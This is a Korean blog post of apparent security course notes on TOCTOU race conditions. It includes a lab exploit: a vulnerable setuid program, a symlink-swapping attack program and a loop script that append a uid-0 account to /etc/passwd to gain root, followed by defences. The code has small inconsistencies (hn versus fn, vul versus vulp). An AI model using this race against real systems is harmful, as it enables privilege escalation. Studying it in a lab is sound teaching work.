다양한 기록

ToCTToU (Time of Check-to-Time of Use) Vulnerability 본문

운영체제보안

ToCTToU (Time of Check-to-Time of Use) Vulnerability

라구넹 2024. 12. 6. 19:04

ToCTToU (Time of Check-to-Time of Use) Vulnerability

- 액세스 체크와 오픈 사이에 바꿔치기를 함

 

루트 소유 setuid 프로그램

* 이거 아니면 애초에 /etc/passwd 못열음

if( !access("/tmp/X", W_OK) )
{
    f = open("/tmp/X", O_WRITE);
    write_to_file(f);
}

access는 특이한 시스템 콜.. ruid 기반으로 권한 체크함

open은 euid 기반으로 체크함

열고 싶은 파일은 /etc/passwd .. 열어서 루트 계정을 추가하고자 함 (uid, 즉 세번째 필드가 0)

 

목표: /etc/passwd같이 보호되는 파일에 쓰기

- 심볼릭 링크가 도움이 됨

 

Sticky Directory

- 누구나 파일을 만들 수는 있지만,

- 파일 주인, 디렉토리 주인, 루트 유저만 리네임하거나 삭제 가능함

/tmp 말고는 보통 잘 안씀

$ chmod +t mytmp
# chmod 7755 mytmp ... -rwsr-sr-t

 

프로그램 A, V

A1: /tmp/X가 유저 소유 파일을 가리키게 함

A2: /tmp/X가 /etc/passwd를 가리키게 함

V1: /tmp/X 퍼미션 체크 (access)

V2: 파일 open

A1 -> V1 -> A2 -> V2 순서로 컨텍스트 스위칭이 일어날 때까지 반복

 

* 처음부터 /etc/passwd에 작성을 하려면 access에 막힘

file = "/tmp/X"
fileExist = check_file_existance(file);

if( fileExist == FALSE )
    f = open(file, O_CREAT)
    
    ....write...

파일이 없으면 만들고 쓰는 프로그램인데,

FASLE 체크랑 open 사이에 /tmp/X를 /etc/passwd를 가리키게 바꿔버리면 /etc/passwd가 열림


vul.c

#include <stdio.h>
#include <unistd.h>

int main()
{
    char *hn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    
    scanf("%50s", buffer);
    
    if( !access(fn, W_OK) )
    {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else
    {
        printf("No Permission\n");
    }
    
    return 0;
}

입력을 받아 파일에 쓰는 프로그램

 

gcc -o vul vul.c
sudo chown root vulp
sudo chmod 4755 vulp

 

환경

sudo sysctl -w fs.protected_symlinks=0

 

exploit

- 타겟 파일 선정 (/etc/passwd)

- 공격 시작 (attack process, vulnerable process)

- 결과 관찰

 

1. 타겟 파일 선정

- /etc/passwd

- passwd_input 파일에 써진대로 추가하기 (test:vfkslrg1:0:0:test:root:/bin/bash)

 

2.1. target_process ( Vul program )

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)

while [ "$old" = "$new" ]
do
    ./vulp < passwd_input
    new=$($CHECK_FILE)
done

echo "Stop.. The passwd file has been changed"

ls -l에는 사이즈가 포함.. 변경이 있으면 값이 달라짐

 

2.2. attack_process ( Attack Program )

#include <unistd.h>

int main()
{
    while(1)
    {
        unlink("/tmp/XYZ");
        symlink("./myfile", "/tmp/XYZ");
        usleep(10000);
        
        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(10000);
    }
    
    return 0;
}

슬립은 그 사이에 공격이 들어가야 하니 잠시 멈춰주는 정도의 역할

 

3. Exploit

$ ./attack_process &
$ ./target_process
No permission
No permission
....
Stop.. The passwd file has been changed
$
$ su test
Passwd:
#
#

 

vulp 를 target_process에서 expolit 성공 시 까지 반복적으로 돌림

attack_process는 링크를 계속해서 자신 파일로 바꿨다가 /etc/passwd로 돌려줌


대처법

- 원자적 연산 (Atomic Operations)

- 체크와 유즈를 반복 .. race에서 이기기 어렵게 함

- Sticky Symlink Protection .. symbolic link 생성 예방

- 최소 권한의 원칙 .. 레이스에서 이겨도 할 수 있는게 최소화되도록

 

1. Atomic Operations

fopen(file, O_CREAT | O_EXCL)

이러면 이미 있는 파일은 안 열림

아니면 락, 언락하기

 

f = open(file, O_WRITE | O_REAL_USER_ID)

이건 실제로 있는 건 아니고 하나의 아이디어

open 시 ruid 체크

 

2. Repeating Check and Use

access -> open을 세 번 반복 => fd 세 개 나옴

이 세개의 fd가 같아야 write

100% 막는 건 안되지만 공격의 가능성은 낮출 수 있음

 

3. Sticky Symlink Protection

Follewer (EUID) Directory Owner Symlink Owner Decision(fopen())
user user user Allowed
user user root Denied
user root user Allowed
user root root Allowed
root user user Allowed
root user root Allowed
root root seed Denied
root root root Allowed

* 심볼링 링크의 Owner와 (euid 또는 디렉토리 오너)가 둘 중 하나는 같아야 허가해 줌

 

$ sudo sysctl -w fs.protected_symlinks=1

스틱키 심링크 프로텍션이 활성화 시 스틱키 world-writable 디렉토리의 심볼링 링크는,

심볼링 링크의 오너follower(프로세스 euid) 또는 디렉토리 오너와 같아야 함

아니면 오픈 허가 안됨

 

4. Principle of Least Privilege (최소 권한의 원칙)

- 프로그램은 태스크에 필요한 만큼을 넘는 권한을 가지면 안됨

- seteuid, setuid가 이를 위해 많이 사용됨

uid_t ruid = getuid()
uid_t euid = geteuid()

seteuid(ruid);

f = open("/tmp/X", O_WRITE);
if( f != -1 )
    write_to_file(f);
else
    fprintf(stderr, "Permission denied\n");

seteuid(euid);

루트 소유 setuid 프로그램이니까, 일단 오픈 시에만 euid를 ruid에 맞춰 바꿈

'운영체제보안' 카테고리의 다른 글

Dirty COW #2 mmap(), madvise()  (0) 2024.12.06
Dirty COW #1 Copy-on-Write  (0) 2024.12.06
Race Condition Problem  (0) 2024.12.06
Return-Oriented Programming (ROP)  (0) 2024.12.06
Chaining Function Calls (without arguments)  (0) 2024.12.05